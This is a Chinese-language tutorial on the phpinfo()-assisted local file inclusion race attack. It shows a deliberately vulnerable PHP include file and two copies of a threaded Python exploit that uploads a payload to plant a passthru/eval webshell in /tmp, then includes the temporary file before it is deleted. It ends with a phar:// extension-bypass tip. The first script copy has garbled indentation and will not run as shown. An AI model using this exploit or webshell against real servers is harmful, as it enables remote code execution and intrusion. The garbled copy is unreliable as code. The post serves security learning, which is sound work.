phpinfo LFI-本地临时文件包含

phpinfo LFI-本地临时文件包含

• ​​0x00概述​​
• ​​攻击条件1​​
• ​​攻击条件2​​
• ​​0x01 实验​​
• ​​0x02 代码及问题处理​​
• ​​源码整理：​​
• ​​提示​​

#利用

参考链接：

国外：https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf

国内：https://www.angelwhu.com/paper/2016/06/13/phpinfo-lfi-upload-shell/#3-%E5%86%99python%E7%A8%8B%E5%BA%8F%E8%BF%9B%E8%A1%8C%E6%94%BB%E5%87%BB

普通文件包含 eg：证明 ---- 比如包含“/etc/passwd” 可进行getshell等操作

0x00概述

服务器上任意PHP脚本处理POST请求时，会在/tmp下生成临时文件,直到php页面完全处理完请求删除

● 临时文件的路径及名字是未知，路径也只能靠猜

● 临时文件的名字可以利用类似<>*?等通配符（我们暂且称其为通配符）匹配，也不一定能匹配成

● 同时N个人一起请求的话可能同时生成很多临时文件

所以

攻击条件1

存在----利用phpinfo()

攻击条件2

存在一个lfi漏洞php文件

当向任意php文件post请求上传数据时，可以直接在phpinfo页面找到临时文件的路径及名字

0x01 实验

• 用分块传输，增长数据长度来延迟响应时间。然后趁机去包含临时文件

● 目标机的/var/www/html下有phpinfo.php和1.php两个文件

phpinfo.php:

<?php
    phpinfo();
   ?>

1.php

<?php 
    require($_GET['load']);
   ?>

● 可以用inotifywait命令来监控对tmp文件和目录的访问记录

inotifywait –m –r /tmp

0x02 代码及问题处理

#!/usr/bin/python
import sys
import threading
import socket


def setup(host, port):
    TAG = "Security Test"
    PAYLOAD = """%s\r
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAG
    REQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding = "A" * 5000
    REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
    # modify this to suit the LFI script
    LFIREQ = """GET /lfi.php?load=%s%%00 HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)


def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))


s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
    d += s.recv(offset)
try:
    i = d.index("[tmp_name] =&gt")
fn = d[i + 17:i + 31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
    return fn
counter = 0


class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):

        threading.Thread.__init__(self)
    self.event = e
    self.lock = l
    self.maxattempts = m
    self.args = args

    def run(self):

        global counter
    while not self.event.is_set():
        with self.lock:
        if counter >= self.maxattempts:
        return
    counter += 1
    try:
        x = phpInfoLFI(*self.args)


if self.event.is_set():
    break
    if x:
        print
    "\nGot it! Shell created in /tmp/g"
self.event.set()

except socket.error:
return


def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
    d += i
    if i == "":
        break
    # detect the final chunk
    if i.endswith("0\r\n\r\n"):
        break
    s.close()
    i = d.find("[tmp_name] =&gt")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print
    "found %s at %i" % (d[i:i + 10], i)
    # padded up a bit
    return i + 256


def main():
    print
    "LFI With PHPInfo()"
    print
    "-=" * 30
    if len(sys.argv) < 2:
        print
    "Usage: %s host [port] [threads]" % sys.argv[0]
    sys.exit(1)
    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
    print
    "Error with hostname %s: %s" % (sys.argv[1], e)
    sys.exit(1)
    port = 80
    try:
        port = int(sys.argv[2])
    except IndexError:
    pass
    except ValueError, e:
    print
    "Error with port %d: %s" % (sys.argv[2], e)
    sys.exit(1)

    poolsz = 10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
    pass
    except ValueError, e:
    print
    "Error with poolsz %d: %s" % (sys.argv[3], e)
    sys.exit(1)
    print
    "Getting initial offset...",
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()
    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()
    print
    "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()
    tp = []
    for i in range(0, poolsz):
        tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))
    for t in tp:
        t.start()
    try:
        while not e.wait(1):
        if e.is_set():
        break
    with l:
        sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts))
    sys.stdout.flush()


if counter >= maxattempts:
    break
    print
    if e.is_set():
        print
    "Woot! \m/"
    else:
    print
    ":("
    except KeyboardInterrupt:
    print
    "\nTelling threads to shutdown..."
    e.set()

    print
    "Shuttin' down..."
    for t in tp:
        t.join()
if __name__ == "__main__":
    main()

HTTP请求问题

检查HTTP首部 POST Request “Accept-Encoding: gzip, deflate”返回的Response中内容部分都是gzip压缩 —删除

这样Response得到的就是未压缩

错误的组合了HTTP Header 重新组织GET Request 并注意回车换行符（CRLF）

（首部和主体之间是有一个回车换行符）

GET请求中，主体中是没有内容的，所有即使加上了内容，抓包的时候也不会显示出来。

多了一个回车换行符的情况

主体部分有内容的情况

Wireshark的数据包细节都是没有体现出来的（因为增加的部分不符合GET Request的要求？），

而在最下面的数据包字节（原始数据包）体现出来

源码整理：

#!/usr/bin/env python
# __author__ = 'ShadonSniper'

import sys
import threading
import socket
def setup(host, port):
    TAG="Locale File Include Vulns!!!"
    PAYLOAD="""%s\r\n<?php $c=fopen('/tmp/g.php','w');fwrite($c,'<?php eval（$_GET["f"]);?>');?>\r\n""" % TAG
    REQ1_DATA="""-----------------------------68124396905382484903242131\r\n"""+\
         """Content-Disposition: form-data; name="userfile"; filename="test.txt"\r\n"""+\
         """Content-Type: text/plain\r\n"""+"""\r\n"""+\
         """%s\r\n-----------------------------68124396905382484903242131--""" % PAYLOAD
    padding="A" * 8000
    REQ1="""POST /phpinfo.php?a=%s HTTP/1.1\r\n"""%padding
    temp="""Host: %s\r\n"""%host
    REQ1 = REQ1+temp
    REQ1=REQ1+"""User-Agent: """+padding+"""\r\n"""+\
         """Accept: """+padding+"""\r\n"""+\
         """Accept-Language: """+padding+"""\r\n"""+\
         """Accept-Encoding: """+padding+"""\r\n"""+\
         """Connection: keep-alive\r\n"""+\
         """Content-Type: multipart/form-data; boundary=---------------------------68124396905382484903242131\r\n"""
    REQ1=REQ1+"""Content-Length: %s\r\n\r\n"""%(len(REQ1_DATA))
    REQ1=REQ1+"""%s"""%REQ1_DATA
    #modify this to suit the LFI script
    LFIREQ="""GET /lfi.php?load=%s HTTP/1.1\r\n"""+\
        """Host: %s\r\n"""+\
        """User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.1\r\n"""+\
        """Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"""+\
        """Accept-Language: en-US,en;q=0.5\r\n"""+\
        """Connection: keep-alive\r\n\r\n"""

    #print REQ1
    return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt")
        fn = d[i+17:i+31]
        #print fn
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock = l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1
            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()

            except socket.error:
                return

def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d+=i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():
    print "LFI With PHPInfo()"
    print "-=" * 30
    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)
    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)
    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot! \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()

    print "Shuttin' down..."
    for t in tp:
        t.join()
if __name__=="__main__":
    main()

提示

● 限制后缀为php的文件，使用phar协议进行绕过

eg:

http://localhost/lfi/lfi.php?f=phar://phartest.aaa/shell.php